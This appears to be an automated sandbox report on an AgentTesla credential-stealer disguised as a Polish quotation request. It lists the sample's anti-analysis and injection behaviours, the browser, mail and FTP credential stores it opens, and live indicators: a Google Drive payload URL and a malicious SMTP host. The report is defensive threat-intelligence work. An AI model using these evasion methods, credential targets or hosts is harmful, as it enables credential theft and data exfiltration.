Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\conhost.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion:

barindex
Tries to detect Any.run
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\Qemu-ga\qemu-ga.exe Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Program Files\qga\qga.exe Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: RegAsm.exe, 00000010.00000002.5627003860.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=HTTPS://DRIVE.GOOGLE.COM/UC?EXPORT=DOWNLOAD&ID=13YJZJAZQKYRBPSLQ3KNAOBZS8KDFMM8GWININET.DLLMOZILLA/5.0 (WINDOWS NT 6.1; WOW64; TRIDENT/7.0; RV:11.0) LIKE GECKO
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1080160955.0000000002270000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000002.5627003860.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1079503011.00000000005F4000.00000004.00000020.sdmp Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1080160955.0000000002270000.00000004.00000001.sdmp Binary or memory string: NTDLLKERNEL32USER32C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXEC:\PROGRAM FILES\QGA\QGA.EXEPSAPI.DLLMSI.DLLPUBLISHERSHELL32ADVAPI32USERPROFILE=WINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLLWINDIR=\MICROSOFT.NET\FRAMEWORK\V4.0.30319\REGASM.EXE\SYSWOW64\MSVBVM60.DLL
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 1452 Thread sleep time: -2767011611056431s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_02254DC9 rdtsc 5_2_02254DC9
Contains long sleeps (>= 3 min)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 9957 Jump to behavior
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe System information queried: ModuleInformation Jump to behavior
Source: RegAsm.exe, 00000010.00000002.5634097165.00000000012F0000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW<
Source: RegAsm.exe, 00000010.00000002.5627003860.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=https://drive.google.com/uc?export=download&id=13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8gwininet.dllMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Source: RegAsm.exe, 00000010.00000002.5634097165.00000000012F0000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1080160955.0000000002270000.00000004.00000001.sdmp Binary or memory string: ntdllkernel32user32C:\Program Files\Qemu-ga\qemu-ga.exeC:\Program Files\qga\qga.exepsapi.dllMsi.dllPublishershell32advapi32USERPROFILE=windir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dllwindir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dllwindir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dllwindir=\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe\syswow64\msvbvm60.dll
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1080160955.0000000002270000.00000004.00000001.sdmp, RegAsm.exe, 00000010.00000002.5627003860.0000000000BF0000.00000004.00000001.sdmp Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
Source: RegAsm.exe, 00000010.00000002.5631737424.0000000001288000.00000004.00000020.sdmp Binary or memory string: Hyper-V RAW@
Source: Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe, 00000005.00000002.1079503011.00000000005F4000.00000004.00000020.sdmp Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe

Anti Debugging:

barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread information set: HideFromDebugger Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Code function: 5_2_02254DC9 rdtsc 5_2_02254DC9
Enables debug privileges
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process queried: DebugPort Jump to behavior
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 16_2_00E46958 LdrInitializeThunk, 16_2_00E46958
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Writes to foreign memory regions
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: F00000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe 'C:\Users\user\Desktop\Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe' Jump to behavior
Source: RegAsm.exe, 00000010.00000002.5640796571.0000000001880000.00000002.00020000.sdmp Binary or memory string: Shell_TrayWnd
Source: RegAsm.exe, 00000010.00000002.5640796571.0000000001880000.00000002.00020000.sdmp Binary or memory string: Progman
Source: RegAsm.exe, 00000010.00000002.5640796571.0000000001880000.00000002.00020000.sdmp Binary or memory string: #Program Manager
Source: RegAsm.exe, 00000010.00000002.5640796571.0000000001880000.00000002.00020000.sdmp Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 9012, type: MEMORYSTR
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\ Jump to behavior
Tries to steal Mail credentials (via file access)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 9012, type: MEMORYSTR

Remote Access Functionality:

barindex
Yara detected AgentTesla
Source: Yara match File source: 00000010.00000002.5652953298.000000001DF51000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 9012, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1383 Sample: Zapytanie ofertowe (SHELMO ... Startdate: 28/09/2021 Architecture: WINDOWS Score: 100 23 mail.reyesyasociados.com 2->23 25 spclient.wg.spotify.com 2->25 27 4 other IPs or domains 2->27 35 Found malware configuration 2->35 37 Multi AV Scanner detection for submitted file 2->37 39 Sigma detected: RegAsm connects to smtp port 2->39 41 3 other signatures 2->41 8 Zapytanie ofertowe (SHELMO Sp. z o.o. 09272021).exe 1 2->8         started        signatures3 process4 signatures5 43 Writes to foreign memory regions 8->43 45 Tries to detect Any.run 8->45 47 Hides threads from debuggers 8->47 11 RegAsm.exe 9 8->11         started        15 RegAsm.exe 8->15         started        17 RegAsm.exe 8->17         started        19 RegAsm.exe 8->19         started        process6 dnsIp7 29 mail.reyesyasociados.com 109.169.39.245, 49748, 587 IOMART-ASGB United Kingdom 11->29 31 drive.google.com 142.250.185.174, 443, 49726 GOOGLEUS United States 11->31 33 googlehosted.l.googleusercontent.com 142.250.185.193, 443, 49727 GOOGLEUS United States 11->33 49 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 11->49 51 Tries to steal Mail credentials (via file access) 11->51 53 Tries to harvest and steal ftp login credentials 11->53 59 3 other signatures 11->59 21 conhost.exe 11->21         started        55 Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines) 15->55 57 Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines) 15->57 signatures8 process9
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
142.250.185.193
 googlehosted.l.googleusercontent.com United States
15169 GOOGLEUS false
109.169.39.245
 mail.reyesyasociados.com United Kingdom
20860 IOMART-ASGB true
142.250.185.174
 drive.google.com United States
15169 GOOGLEUS false

Contacted Domains

Name IP Active
drive.google.com 142.250.185.174 true
googlehosted.l.googleusercontent.com 142.250.185.193 true
edge-web.dual-gslb.spotify.com 35.186.224.25 true
mail.reyesyasociados.com 109.169.39.245 true
spclient.wg.spotify.com unknown unknown
doc-0o-50-docs.googleusercontent.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://doc-0o-50-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/hfb1eo2pc77l1m3ao72uchj4vo9g7ss2/1632826875000/00519186742208262786/*/13YjZJAZqkYRBpSLq3kNAObzs8kDFmm8g?e=download false
    		high